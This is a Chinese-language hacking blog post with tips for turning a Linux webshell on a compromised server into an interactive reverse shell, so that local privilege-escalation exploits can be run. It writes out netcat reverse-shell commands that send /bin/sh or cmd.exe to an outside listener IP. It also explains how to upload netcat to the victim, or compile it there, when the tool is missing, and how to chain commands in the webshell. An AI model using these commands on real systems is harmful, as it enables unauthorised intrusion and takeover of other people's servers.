Linux下反弹CmdLine Shell小技巧

Linux下反弹CmdLine Shell小技巧

玩了半天朋友给的Linux的WebShell，本来想实践一下UDEV提权呢，最后发现服务器貌似已经打过补丁了。

不过还是有其他的收获的，所以我就YY下Linux反弹shell的问题。

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令，但是我们的EXP必须在可交互环境运行，否则如果直接在WebShell执行，即使能提权成功，我们也没法利用到。所以我们需要先反弹一个CmdLine Shell回来(直接说成CmdShell怕人误解...因为Win有个cmd.exe ^_^)，然后在命令行终端下执行EXP进行提权。

一般情况下，绝大多数人都会通过PHP WebShell的Back Connect功能弹回一个Shell，但是有时候会碰到服务器不支持PHP或者WebShell没法反弹的情况，比如这两天朋友给我的一个JSPShell所在服务器只支持JSP，不支持PHP。这时候，我们经典的netcat就可以派上用场了。

平时在Windows下做事的时候，在必要的情况下我们可以先在本机运行nc -vv -lp 1234监听端口，然后在肉鸡上nc 12.21.12.21 1234 -e cmd.exe给我们反弹一个CmdShell，这个方法在Linux仍然可行。

在本机监听后，在WebShell运行nc 12.21.12.21 1234 -e /bin/sh就能弹一个CmdLine Shell给我们。

但我们经常碰到的情况并不都是这么100%顺利的，像昨晚整的那两台，每台都是不能直接执行nc的。一台有nc，但执行从是不起作用，另外一台直接压根就没有nc....

不过，这个难不倒我们，我们可以给他装一个嘛，比较快捷的方法是，我们可以到http://netcat.sourceforge.net/download.php下载nc的源码，先在我们自己linux机器上编译好以后把bin文件传上去(我开始传的我的Debian自带的netcat，结果仍然不能运行....)。如果还不行，那就把源码传上去，在目标机器上直接编译。

昨晚那两台机器，一台我是直接传的本地编译后的，一台是在目标机器上编译的。如果直接传的nc可以运行的话还比较好说，如果需要在目标机器上编译的话，这里有点小技巧:

因为在得到CmdLine Shell前，我们只能在WebShell里执行命令，一般每次只能执行一条，然后等回显。假如我们的WebShell在/var/www/site目录，那么我们每次执行命令默认的当前路径都是/var/www/site，而我们的netcat源码包解压在了/tmp/netcatsrc文件夹，这样的话，我们编译netcat的时候，configure还好说，可用/tmp/netcatsrc/configure命令，但下一步make的时候就不行了，因为当前路径是/var/www/site，而不是我们想要的/tmp/netcatsrc/，所以我们configure完了make的时候会报错。

解决这个问题其实也很简单，可以直接把两句写成一句就可以:cd /tmp/netcatsrc;make

用分号隔开写，把make跟在目录切换命令后面，这样编译的时候就不会报错了。(流浪猫教的..^_^)

在还没有得到CmdLine Shell的时候，这样的写法还是很有用的。